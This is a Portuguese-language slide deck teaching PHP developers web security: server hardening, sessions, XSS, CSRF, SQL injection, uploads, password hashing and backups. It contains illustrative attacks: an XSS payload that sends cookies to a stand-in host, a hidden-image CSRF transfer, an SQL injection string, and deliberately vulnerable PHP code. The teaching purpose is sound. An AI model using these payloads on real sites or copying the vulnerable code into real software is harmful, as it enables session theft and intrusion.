Segurança de aplicações web

Vitor Mattos

Fotografem, comentem, twittem!

@VitorMattosRJ

Quem sou eu?

Desenvolvedor PHP desde 2003
Amante de opensource
Evangelista PHP
PHP Zend Certified Engineer ( ZEND024235 )
PHPRio ( https://telegram.me/phprio )

CTO LibreCode Coop
Redes sociais: ( VitorMattos ou VitorMattosRJ )

A LibreCode é uma cooperativa de trabalho com modelo de gestão democrática, segura e eficiente composta por profissionais de T.I. altamente qualificados e experientes no mercado. Prezamos por apresentar vantagens, tanto para o cooperado como para as empresas parceiras.

188

Cursos Gratuitos

para início imediato!

Cronograma

Tentarei ser breve :-D

  • Definições
  • Boas práticas
    • No servidor web
    • No desenvolvimento
    • No servidor de banco
  • Alguns testes de segurança

Requisitos básicos

  • Confidencialidade
  • Integridade
  • Disponibilidade
  • Autenticidade

Confidencialidade

Integridade

Disponibilidade

informação sempre disponível para o uso ...

de quem?

Autenticidade

Segurança não se restringe a sistemas ...

Tudo começa com

Boas práticas

Como ter um sistema mais seguro?

Segurança no servidor é importante

Remova o que é desnecessário

expose php = Off

Altere no php.ini

Remova o que é desnecessário

ServerSignature Off
ServerTokens Prod

Altere no arquivo de configuração do Apache:

Major|Minor|Min[imal]|Prod[uctOnly]|OS|Full

Remova o que é desnecessário

Altere no VirtualHost:

Options -Indexes

Remova o que é desnecessário

Altere no VirtualHost:

RedirectMatch 404 /\.git

Remova o que é desnecessário

Altere no php.ini:

display_errors = Off

Logs salvam vidas

display_errors

Mostra erros na tela

error_reporting

log_errors

error_log

Nível de erro mostrado

Logar erros

Arquivo de log

set_error_handler

Cria um novo manipulador de erros

Logs salvam vidas

Monitore logs: grafana

Logs salvam vidas

Monitore logs: graylog

Mantenha-se atualizado

Rode apenas o essencial

Cuidado com o que faz

shell_exec()
system()
passthru()
proc_*()
exec()

Cuidado com o que faz

shell_exec()
system()
passthru()
proc_*()
exec()

escapeshellcmd()

escapeshellarg()

Cuidado com o que faz

Utilize apenas códigos de terceiros que sejam confiáveis

 

Muitas falhas de seguranças são injetadas em um sistema por códigos de terceiros, módulos, plugins, libs, etc.

Cuidado com o que faz

Desabilite ou evite fazer include de código a partir de uma URL

Redução de privilégios:
arquivos

chmod 777

Redução de privilégios:
isole as aplicações

LXC

Cookies e sessão

Session hijacking
&
Cookie Theft

Cookies e sessão

Local de armazenamento

Cliente: Cookie

Servidor: Sessão

Cookies e sessão

Como funcionam?

Cookies e sessão

Oculte informações sobre o servidor

 

Altere no php.ini

 

session.name

session.name specifies the name of the session which is used as cookie name. It should only contain alphanumeric characters. Defaults to PHPSESSID.

Cookies e sessão

Valide user-agent e IP

 

Armazene o user-agent e o IP do usuário autenticado e não permita que a sessão continue up caso estes dados sejam alterados.

 

OBS: Evite armazenar dados não encriptados!!!

Hospedagens compartilhadas

Hospedagens compartilhadas podem ter brechas de permissões de acesso a dados de outros clientes.

 

Se a aplicação requer segurança alta, evite utilizá-las.

Caso não tenha escolha, investigue se é segura.

Hospedagens compartilhadas

Altere esta configuração quando for hospedagem compartilhada:

 

session.save_path
    session.save_path defines the argument which is passed to the save handler. If you choose the default files handler, this is the path where the files are created

Sites seguros

HTTPS

Prefira sempre HTTPS

Exposição de sessão

Dados de sessão podem ser visualizados quando não criptografados com HTTPS

Wireshark

XSS - Cross Site Scripting

Esperado:

Exibindo resultados para a consulta "<?=$_GET['q'];?>"

XSS - Cross Site Scripting

Exibindo resultados para a consulta "<?=$_GET['q'];?>"

O que ocorrerá:

XSS - Cross Site Scripting

Exibindo resultados para a consulta "<?=$_GET['q'];?>"

O que ocorrerá:

localhost/?q=<script>
document.location="http://site.do.mal/get.php?cookie=" + document.cookie
</script>

XSS - Cross Site Scripting

Faça tratamento dos dados

filter_var

strip_tags

html_entities

mysql_real_escape_string

is_[bool|callable|numeric|float|string|object|etc]

CSRF - Cross Site Request Forgery

CSRF é um ataque que força um usuário final à executar ações indesejadas em uma aplicação web em que ele(a) está autenticado no momento.

Exemplo:

 

Uma pessoa descobre que para transferir dinheiro em seu banco a url é a seguinte:

 

https://banco.com.br/transfer?to=Maria&amount=10000

CSRF - Cross Site Request Forgery

Uma pessoa descobre que para transferir dinheiro em seu banco a url é a seguinte:

 

https://banco.com.br/transfer?to=Maria&amount=10000

 

Esta pessoa manda email para uma vítima que usa o mesmo banco com o seguinte código no corpo do email:

<img src="https://banco.com.br/transfer?to=Joselito&amount=10000"
     width="0" height="0"/>

CSRF - Cross Site Request Forgery

Como evitar?

Codifique os campos do formulário e armazene na sessão para decodificar em seguida e armazene um token no formulário

CSRF - Cross Site Request Forgery

Como evitar?

  • Crie um token (conforme citado antes)
  • Prefira usar POST no lugar de GET
  • Limite o tempo de sessão
  • Peça para o usuário se autenticar novamente
  • Confira o REFERER

Use VCS a seu favor

Não versione arquivos sensíveis

Não versione arquivos sensíveis

Nunca programe em produção

Cuidados com formulários

Formulários que enviam email

<form method="POST">
    Área:
        <select name="area">
            <option value="contato@site.com.br">Contato</option>
        </select>
    Seu nome: <input name="nome">
    Seu email: <input name="email">
    Sua mensagem: <input name="mensagem">
    <input type="submit">
</form>
<?php

if(!isset($_POST['nome'])) return;

$cabecalhos = "From {$_POST['nome']} <{$_POST['email']}>";
$para = $_POST['para'];
$assunto = "Contato pelo site";
$corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);

Formulários que enviam email

Esperado:

Área: contato@site.com.br

Seu nome: Vitor Mattos

Seu email: vitor@lt.coop.br

Sua mensagem: Olá! Gostei da apresentação

<form method="POST">
    Área:
        <select name="area">
            <option value="contato@site.com.br">Contato</option>
        </select>
    Seu nome: <input name="nome">
    Seu email: <input name="email">
    Sua mensagem: <input name="mensagem">
    <input type="submit">
</form>
<?php

if(!isset($_POST['nome'])) return;

$cabecalhos = "From {$_POST['nome']} <{$_POST['email']}>";
$para = $_POST['para'];
$assunto = "Contato pelo site";
$corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);

Formulários que enviam email

O que ocorrerá:

Área: all@senado.br

Seu nome: Presidente do Brasil

Seu email: presidente@senado.br

Sua mensagem: Quando receberei meu próximo mensalão?

<form method="POST">
    Área:
        <select name="area">
            <option value="contato@site.com.br">Contato</option>
        </select>
    Seu nome: <input name="nome">
    Seu email: <input name="email">
    Sua mensagem: <input name="mensagem">
    <input type="submit">
</form>
<?php

if(!isset($_POST['nome'])) return;

$cabecalhos = "From {$_POST['nome']} <{$_POST['email']}>";
$para = $_POST['area'];
$assunto = "Contato pelo site";
$corpo = $_POST['mensagem'];
mail($para, $assunto, $corpo, $cabecalhos);

Dados sensíveis

NUNCA, NUNCA, NUNCA
faça um formulário de login usando method GET

 

https://site.com/login?usr=nome&passwd=123456

 

A senha vai ficar exposta e será salva no histórico do navegador!!!

Política de senhas

Defina uma política de senhas

Validação de dados

NUNCA confie no usuário.

 

Valide sempre os dados de formulários

no cliente e no servidor.

Flooding

Bloqueie tentativas repetidas de login do mesmo ip.

 

Rate limiting

Flooding

Flooding

Flooding

Solve the Riemann hypothesis

Can't know the solution? Sorry.

Flooding

Solve the Riemann hypothesis

Can't know the solution? Sorry.

2FA, 3FA, ...

Upload de arquivos

Sempre confira o MYME type

$_FILES["file"]["type"]

 

Upload de arquivos

Não confie só no MIME type

Também confira o tipo de imagem

Upload de arquivos

Sempre confira a extensão dos arquivos

Upload de arquivos

Redimensione imagens e salve para eliminar qualquer informação não desejável (exif, esteganografia), poupar espaço e banda

Upload de arquivos

Limite o tamanho máximo de arquivos enviados

<?php
ini_set('upload_max_filesize', '40M');

Upload de arquivos

Cuidado com o local onde armazena arquivos enviados

Recomendável mover para um domínio exclusivo para arquivos estáticos

Upload de arquivos

Se possível, restrinja upload para usuários autenticados.

URL amigáveis

Evite query string

https://www.site.com/index.php?module=user&action=profile&id=17

https://www.site.com/user/17

URL amigáveis

Proteja identificadores

  • Evite sequenciais
  • UUID (Universally unique identifier)
  • GUID (Identificador Único Global)
  • MD5 / CRC32 / SHA1 / SHA256
  • Qualquer outro tipo de hash ou ofuscamento

https://www.site.com/user/17

https://www.site.com/user/a2f31b55

URL amigáveis

Não tem como usar url amigáveis?

Faça tratamento dos dados

filter_var

strip_tags

html_entities

mysql_real_escape_string

is_[bool|callable|numeric|float|string|object|etc]

URL amigáveis: limpeza de dados

Segurança com uso de banco de dados

Redução de privilégios:
acesso remoto

REMOTE ACCESS

Redução de privilégios:
database

GRANT ALL PRIVILEGES ON database TO user;

Prefira sempre UTF8

SQL Injection: O  que é?

é um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados através de comandos SQL, onde o atacante consegue inserir uma instrução SQL personalizada e indevida dentro de uma consulta (SQL query) através da entradas de dados de uma aplicação, como formulários ou URL de uma aplicação

By: Wikipedia

bla, bla, bla, bla...

Como faz isto?

SQL Injection: O  que é?

<form method="post">
    Usuário: <input name="user" />
    Senha: <input type="password" name="pass" />
    <input type="submit">
</form>
<?php
$result = mysql_query(
    "SELECT * ".
    "  FROM user".
    " WHERE user = '{$_POST['user']}'".
    "   AND pass = '{$_POST['pass']}'"
);

Se o usuário digitar:
user: ' OR 1 = 1;--
pass: sfk3lkjsdlds

Teremos:

SELECT *
  FROM user
 WHERE user = '' OR 1 = 1;--
   AND pass='sfk3lkjsdlds'

SQL Injection: previna-se

Prepared statements

Uma consulta preparada é processada, gerando um plano de execução que pode ser executado várias vezes em uma sessão, com ganho de performance.

Prepared statements

Prepared statements

Exemplo:

$sql =
    "INSERT INTO log (ip, url) ".
    "VALUES (?, ?)";
$sth = $dbh->prepare($sql);
$sth->execute(array(
    '192.168.1.100',
    'http://localhost'
));

Senhas de usuários

NUNCA use md5 ou apenas md5, rainbow table:

Senhas de usuários

$hash = password_hash('segredo!');
// $2y$10$.vGA1O9wmRjrwAVXD98HNOgsNpDczlqm3Jq7KnEd1rVAGv3Fykk1a

if (password_verify('segredo!', $hash)) {
    echo 'Password is valid!';
} else {
    echo 'Invalid password.';
}

Faça backups

TJ‑RS sofre ataque de ransomware

 

A ameaça criptografou arquivos e exigiu o pagamento de um resgate no valor de US$ 5.000.000. Alguns dos serviços disponibilizados pelo portal do TJ-RS estão temporariamente indisponíveis.

Backups

Não guarde os backups no servidor de aplicação

Backups

Backup deve ser feito por um servidor externo acessando o servidor de aplicação

Backups

Defina políticas de acesso

Backups

Faça relatórios de backup e testes de restauração com frequência

Ferramentas

Ferramentas

Ferramentas

Referências

  • Minha cabeça
  • https://www.owasp.org
  • https://www.slideshare.net/JoubertGuimaresdeAss
  • https://www.slideshare.net/tchelinux
  • Wikipedia
  • www

Perguntas

vitor@lt.coop.br
Linkedin: vitormattos

Telegram: vitormattos

Obrigado!

Redes sociais:
( VitorMattos ou VitorMattosRJ )